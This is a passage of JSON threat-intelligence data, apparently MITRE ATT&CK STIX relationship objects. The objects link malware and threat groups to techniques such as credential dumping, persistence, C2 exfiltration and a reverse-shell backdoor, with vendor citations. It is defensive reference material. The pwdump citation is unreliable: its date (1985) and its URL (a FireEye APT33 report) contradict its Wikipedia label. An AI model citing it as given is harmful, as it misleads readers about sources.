Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--934fb394-12bb-47c7-aef0-6686d05bd2b0", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of downloading remote files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) uses [netstat](https://attack.mitre.org/software/S0104) to list TCP connection status.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0", + "external_references": [ + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about network IP configurations using [ipconfig](https://attack.mitre.org/software/S0100).exe and about routing tables using [route](https://attack.mitre.org/software/S0103).exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.760Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Group5](https://attack.mitre.org/groups/G0043) packed an executable by base64 encoding the PE file and breaking it up into numerous lines.", + "type": "relationship", + "created": "2017-05-31T21:33:27.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9083516-7dd3-4ef2-808a-1df48894122b", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.605Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used stolen code signing certificates to sign malware.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9493cec9-dbbc-43ef-ae57-6f307f8d6001", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "FireEye APT40 March 2019", + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "modified": "2019-04-25T12:24:57.397Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Droppers used by [Putter Panda](https://attack.mitre.org/groups/G0024) use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 \u2013 0xAF to obfuscate payloads.", + "type": "relationship", + "created": "2017-05-31T21:33:27.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c952f284-e529-481f-97fb-7a6e14c25ccf", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2019-03-25T16:53:38.841Z", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:48:43.680Z", + "type": "relationship", + "id": "relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. [Rover](https://attack.mitre.org/software/S0090) also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation Exfiltration module can be used to locate and impersonate user logon tokens.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56b59fda-e96d-443d-9f45-e4cc967c911a", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.229Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects endpoint information using the systeminfo command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1544dec-4586-466a-b730-862c06e9e3c7", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:32.241Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim computer name, physical memory, country, and date.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used DLL side-loading to load malicious payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a4664c1-47dd-4a4a-ab7b-0f64ec137a67", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.507Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[pwdump](https://attack.mitre.org/software/S0006) can be used to dump credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c", + "external_references": [ + { + "source_name": "Wikipedia pwdump", + "description": "Wikipedia. (1985, June 22). pwdump. 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Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "modified": "2019-05-14T19:15:24.370Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is loaded and executed by a highly obfuscated launcher.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f8be617-c842-4828-a352-9d5eafb8f477", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T18:44:28.655Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "relationship_type": "uses", + "target_ref": "malware--8b880b41-5139-4807-baa9-309690218719" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f4d2f2e-78a9-46e6-bb2f-5b1be932da42", + "external_references": [ + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:14:29.775Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + }, + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--503c4b74-7ca5-45e3-bb11-85a99ca1810f", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.659Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses tasklist /svc to display running tasks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43886571-4415-484f-931b-3b30b9aefaa7", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.243Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) uses HTTPS for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19e0594c-c5b4-45c8-926e-ae884164d294", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) lists local users and session information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--524261f3-8b87-4c99-b99b-1e78032f072c", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks for anti-malware products and processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df4b0683-e6a7-4da4-9544-c6eded007412", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) gets an output of running processes using the tasklist command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5caffa87-adbb-45e8-ba6b-dc61188471a7", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.236Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can upload files to the victim's machine for operations.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7760f6b-9b57-4fa8-895a-4f4a209aa366", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013", + "external_references": [ 